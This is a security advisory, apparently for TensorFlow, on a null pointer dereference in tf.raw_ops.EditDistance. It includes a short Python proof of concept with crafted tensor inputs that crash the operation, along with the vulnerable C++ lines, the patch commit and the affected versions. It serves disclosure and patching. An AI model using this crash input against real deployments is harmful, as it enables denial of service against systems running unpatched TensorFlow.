An attacker can trigger a null pointer dereference in the implementation of tf.raw_ops.EditDistance
:
import tensorflow as tf
hypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64)
hypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32)
hypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
truth_indices = tf.constant([], shape=[0, 3], dtype=tf.int64)
truth_values = tf.constant([], shape=[0], dtype=tf.float32)
truth_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
tf.raw_ops.EditDistance(
hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values,
hypothesis_shape=hypothesis_shape, truth_indices=truth_indices,
truth_values=truth_values, truth_shape=truth_shape, normalize=True)
This is because the implementation has incomplete validation of the input parameters.
In the above scenario, an attacker causes an allocation of an empty tensor for the output:
OP_REQUIRES_OK(ctx, ctx->allocate_output("output", output_shape, &output));
auto output_t = output->flat<float>();
output_t.setZero();
Because output_shape
has 0 elements, the result of output->flat<T>()
has an empty buffer, so calling setZero
would result in a null dereference.
We have patched the issue in GitHub commit f4c364a5d6880557f6f5b6eb5cee2c407f0186b3.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
{ "nvd_published_at": "2021-05-14T20:15:00Z", "cwe_ids": [ "CWE-476" ], "severity": "LOW", "github_reviewed": true, "github_reviewed_at": "2021-05-18T19:43:25Z" }